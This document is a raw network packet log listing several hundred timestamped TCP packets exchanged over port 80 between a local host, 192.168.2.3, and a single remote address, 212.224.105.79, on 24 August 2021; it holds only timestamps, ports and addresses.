Aug 24, 2021 14:01:32.495081902 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495107889 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495275974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495352030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495374918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495398998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495409012 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495420933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495444059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495446920 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495465994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495471954 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495490074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495507002 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495512009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495538950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495546103 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495563030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495584965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495606899 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495608091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495636940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495650053 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495660067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495682001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495691061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495704889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495727062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495743036 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495749950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495771885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495798111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495800018 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495821953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495839119 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495843887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495867014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495888948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495898962 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495910883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495937109 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.495973110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496025085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496068954 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496085882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496113062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496136904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496151924 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496160030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496177912 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496182919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496205091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496223927 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496227026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496252060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496263027 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496273994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496299982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496319056 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496324062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496346951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496356010 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496370077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496392965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496416092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496418953 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496438026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496462107 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496463060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496488094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496500015 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496511936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496534109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496556044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496573925 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496579885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496603012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496612072 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496624947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496645927 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496649027 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496675968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496684074 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496699095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496721983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496735096 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496743917 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496767044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496788025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496789932 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496812105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496824980 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496835947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496860981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496881962 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496884108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496906996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496928930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496929884 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496951103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496972084 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.496972084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.496994972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497014046 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497018099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497042894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497066021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497068882 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497087955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497107983 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497112036 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497134924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497158051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497164965 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497180939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497201920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497203112 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497229099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497248888 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497251987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497273922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497293949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497296095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497322083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497344971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497351885 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497368097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497390985 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497390985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497416973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497436047 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497440100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497462988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497484922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497493029 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497508049 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497530937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497533083 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497554064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497572899 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497576952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497596025 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497603893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497612953 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497628927 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497652054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497669935 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497673988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497698069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497719049 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497725964 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497741938 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497760057 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497765064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497792006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497792959 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497797966 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497817993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497839928 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497863054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497880936 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497884989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497908115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497909069 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497927904 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497931957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497951984 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.497956038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.497982025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.498006105 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.498007059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.498028994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.498049021 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.498053074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.498075008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.498094082 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.498097897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.498121023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.498143911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.498162985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.498169899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.498188019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.498193979 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.498217106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.498219967 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.498235941 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.498240948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.498347998 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.498363972 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.517518044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517548084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517565012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517580032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517600060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517618895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517637968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517657995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517678976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517699957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517699957 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.517723083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517729998 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.517744064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517746925 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.517757893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517776966 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.517777920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517796993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517816067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517826080 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.517834902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517854929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517862082 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.517877102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517898083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517899990 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.517919064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517937899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517947912 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.517957926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517976046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.517976999 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.517997026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.518017054 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.518018961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.518050909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.519001961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.519037008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.519061089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.519083023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.519098997 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.519105911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.519150019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.519155979 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.519172907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.519193888 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.519196033 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.519227028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.519251108 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521136045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521166086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521188021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521209955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521231890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521243095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521262884 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521265984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521284103 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521287918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521310091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521334887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521337986 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521359921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521382093 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521385908 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521404982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521426916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521439075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521450043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521467924 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521471977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521493912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521512032 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521519899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521543980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521565914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521578074 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521589041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521608114 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521611929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521635056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521651030 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521657944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521680117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521707058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521723032 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521730900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521747112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521753073 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521769047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521786928 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521790981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521814108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521836042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521840096 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521859884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521868944 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521886110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521909952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521924019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.521931887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521955013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521977901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.521991014 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522000074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522022963 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522023916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522047997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522064924 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522073984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522097111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522119999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522138119 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522161961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522167921 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522187948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522192001 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522209883 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522212982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522237062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522245884 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522258997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522280931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522295952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522301912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522325039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522346973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522356987 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522372961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522386074 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522396088 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522417068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522439003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522455931 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522461891 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522484064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522490025 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522506952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522516966 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522528887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522555113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522568941 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522578955 CEST	80	49723	212.224.105.79	192.168.2.3
